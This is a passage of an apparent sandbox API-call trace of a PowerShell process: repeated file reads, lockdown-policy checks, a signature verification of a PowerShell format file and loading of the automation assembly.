lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.884] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x16000 [0094.884] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.884] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x17000 [0094.884] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.884] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x18000 [0094.884] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.885] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x19000 [0094.885] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.885] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1a000 [0094.885] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.885] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1b000 [0094.885] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.886] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1c000 [0094.886] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.886] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1d000 [0094.886] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.886] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1e000 [0094.886] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.887] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1f000 [0094.887] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.887] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x20000 [0094.887] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.887] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x21000 [0094.887] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.888] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x22000 [0094.888] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.888] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x23000 [0094.888] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.888] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x24000 [0094.888] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.889] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x25000 [0094.889] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.889] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x26000 [0094.889] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.889] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x27000 [0094.889] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.890] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x28000 [0094.890] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.890] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x29000 [0094.890] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.890] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2a000 [0094.890] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.890] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2b000 [0094.891] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.891] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2c000 [0094.891] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.891] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2d000 [0094.892] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.892] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2e000 [0094.892] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.892] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2f000 [0094.892] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.893] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x30000 [0094.893] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.893] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x31000 [0094.893] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.893] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x32000 [0094.893] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.894] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x33000 [0094.894] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.894] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x34000 [0094.894] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.894] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x35000 [0094.894] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.895] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x36000 [0094.895] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x539, lpOverlapped=0x0) returned 1 [0094.895] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x36539 [0094.895] ReadFile (in: hFile=0x528, lpBuffer=0x6d26f0d, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d26f0d*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0094.895] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x36539 [0094.895] ReadFile (in: hFile=0x528, lpBuffer=0x6d27a34, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d27a34*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0094.897] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.897] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.898] CoTaskMemFree (pv=0x42c9ac0) [0094.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbe8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c4) returned 1 [0094.898] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e140 | out: lpFileInformation=0x427e140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0c0) returned 1 [0094.898] WldpGetLockdownPolicy () returned 0x0 [0094.898] GetSystemInfo (in: lpSystemInfo=0x427e16c | out: lpSystemInfo=0x427e16c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.898] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e0f8 | out: phkResult=0x427e0f8*=0x6f0) returned 0x0 [0094.898] RegQueryValueExW (in: hKey=0x6f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e114, lpData=0x0, lpcbData=0x427e110*=0x0 | out: lpType=0x427e114*=0x0, lpData=0x0, lpcbData=0x427e110*=0x0) returned 0x2 [0094.898] RegCloseKey (hKey=0x6f0) returned 0x0 [0094.898] CloseHandle (hObject=0x528) returned 1 [0094.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", lpFilePart=0x0) returned 0x3f [0094.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0fc) returned 1 [0094.899] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\helpv3.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x6d96edc | out: lpFileInformation=0x6d96edc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eb92ef, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc9eb92ef, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc9eb92ef, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x36539)) returned 1 [0094.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f8) returned 1 [0094.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dbcc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", lpFilePart=0x0) returned 0x3f [0094.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e02c) returned 1 [0094.899] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\helpv3.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e0a8 | out: lpFileInformation=0x427e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eb92ef, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc9eb92ef, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc9eb92ef, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x36539)) returned 1 [0094.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e028) returned 1 [0094.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml", lpFilePart=0x0) returned 0x3f [0094.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427dff4) returned 1 [0094.899] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\helpv3.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0094.899] GetFileType (hFile=0x528) returned 0x1 [0094.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427dff0) returned 1 [0094.899] GetFileType (hFile=0x528) returned 0x1 [0094.899] WTGetSignatureInfo () returned 0x0 [0095.060] CertDuplicateCertificateContext (pCertContext=0x8c43130) returned 0x8c43130 [0095.060] CoTaskMemAlloc (cb=0x10) returned 0x8c08f48 [0095.060] CoTaskMemAlloc (cb=0x30) returned 0x8bf6fa8 [0095.060] WinVerifyTrust () returned 0x0 [0095.061] CoTaskMemFree (pv=0x8bf6fa8) [0095.061] CoTaskMemFree (pv=0x8c08f48) [0095.061] CertFreeCertificateContext (pCertContext=0x8c43130) returned 1 [0095.061] CloseHandle (hObject=0x528) returned 1 [0095.069] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.069] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.069] CoTaskMemFree (pv=0x42c9ac0) [0095.069] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.069] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e138) returned 1 [0095.069] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e1b4 | out: lpFileInformation=0x427e1b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e134) returned 1 [0095.069] WldpGetLockdownPolicy () returned 0x0 [0095.069] GetSystemInfo (in: lpSystemInfo=0x427e1e0 | out: lpSystemInfo=0x427e1e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.069] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e16c | out: phkResult=0x427e16c*=0x528) returned 0x0 [0095.069] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e188, lpData=0x0, lpcbData=0x427e184*=0x0 | out: lpType=0x427e188*=0x0, lpData=0x0, lpcbData=0x427e184*=0x0) returned 0x2 [0095.070] RegCloseKey (hKey=0x528) returned 0x0 [0095.070] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xf5c56541, Data2=0x255d, Data3=0x4edb, Data4=([0]=0x8f, [1]=0xc8, [2]=0xff, [3]=0xf5, [4]=0x4d, [5]=0x7f, [6]=0xcb, [7]=0x7f))) returned 0x0 [0095.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d444, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d444, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.071] GetFullPathNameW (in: 